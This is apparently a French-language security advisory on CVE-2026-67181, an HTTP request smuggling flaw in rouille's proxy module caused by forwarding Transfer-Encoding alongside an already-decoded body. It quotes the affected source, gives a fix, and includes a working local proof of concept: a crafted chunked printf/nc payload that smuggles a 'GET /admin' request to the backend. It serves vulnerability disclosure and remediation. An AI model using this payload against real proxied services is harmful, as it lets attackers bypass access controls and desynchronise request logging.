
Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)
Identifiant CVE attribué : CVE-2026-67181
rouille::proxy::proxy transmet l'en-tête Transfer-Encoding du client au backend sans modification, mais écrit le corps de requête que tiny_http a déjà dé-chunké. Il n'émet jamais de Content-Length qui lui soit propre. Le backend est informé que le corps est en chunked et reçoit des octets qui ne le sont pas, si bien que c'est le client, et non rouille, qui décide où le backend pense que le corps se termine.
URL du dépôt : https://github.com/tomaka/rouille
| Première version affectée | 0.3.3 (2016-12-03), la version qui a introduit src/proxy.rs |
| Dernière version affectée | 3.6.2 (2023-04-24), la version actuelle |
| Non affectées | 0.3.2 et antérieures, qui n'ont pas de module proxy |
| Corrigé dans | aucune version corrigée au moment de la rédaction |
src/proxy.rs est identique au niveau des octets entre le tag 3.6.2 et le master actuel.
Seules les applications appelant proxy::proxy ou proxy::full_proxy sont concernées.
CWE-444 (Interprétation incohérente des requêtes HTTP).
Score de base CVSS 4.0 : 6.3 (Moyen)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Un client distant non authentifié envoyant du HTTP brut à une application rouille agissant comme un proxy inverse. Aucun identifiant ni interaction utilisateur n'est nécessaire.
L'impact dépend du backend. Les backends qui font du pipelining indépendamment de Connection: close, ainsi que tout intermédiaire avec pool de connexions placé entre rouille et l'origine, agiront sur la requête introduite en contrebande. Les backends qui respectent Connection: close se retrouvent quand même avec un corps de requête différent de celui envoyé par le client et de celui observé par rouille.
tiny_http dé-chunke dès qu'un en-tête Transfer-Encoding est présent et ignore Content-Length.
tiny_http-0.12.0/src/request.rs, lignes 149 à 159 :
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs, lignes 218 à 221 :
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs transmet ensuite chaque en-tête sauf Connection et copie le corps décodé. Lignes 167 à 174 :
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
Le Transfer-Encoding: chunked du client survit à la ligne 171. La ligne 174 écrit le texte en clair produit par Decoder. Aucun Content-Length n'est jamais écrit, si bien que le backend n'a rien d'autre pour délimiter le corps et applique le parsing chunked à un texte en clair choisi par l'attaquant.
Étape 1. Démarrez un écouteur brut sur le port 8001 pour jouer le rôle du backend et afficher les octets que rouille envoie.
nc -l 127.0.0.1 8001 | cat -v
Étape 2. Démarrez un frontal rouille sur le port 8000.
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Étape 3. Envoyez une requête correctement chunkée dont le corps décodé est lui-même un flux chunked qui se termine immédiatement, suivi d'une seconde requête. Le chunk unique fait 0x3d = 61 octets de long.
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
Résultat. L'écouteur de l'étape 1 montre rouille annonçant un cadrage chunked puis envoyant le texte en clair :
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
Un backend respectant Transfer-Encoding: chunked lit la ligne de taille de chunk 0, conclut que le corps est vide, puis analyse les 56 octets restants comme une nouvelle requête.
La vision qu'a le backend du corps de requête diffère à la fois des octets envoyés par le client et de ceux lus par rouille. Tout élément en amont qui journalise, audite ou reflète le corps enregistre autre chose que ce sur quoi le backend a agi.
Lorsque le backend fait du pipelining malgré Connection: close, ou lorsqu'un intermédiaire avec pool de connexions se trouve entre rouille et l'origine, les octets restants deviennent une seconde requête avec une méthode et un chemin choisis par l'attaquant.
Le Content-Length du client est également transmis alors que tiny_http l'a ignoré, si bien qu'un backend qui privilégie Content-Length sur Transfer-Encoding subit directement une désynchronisation CL.TE.
Ne transmettez pas les en-têtes de cadrage qui décrivent un corps que rouille a déjà décodé.
Dans src/proxy.rs, étendez le contournement à la ligne 167 :
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
Ensuite, émettez un cadrage correspondant à ce qui est réellement écrit : mettez le corps en mémoire tampon et envoyez un Content-Length exact, ou re-chunkez-le et envoyez vous-même Transfer-Encoding: chunked, avant le \r\n\r\n final de la ligne 173.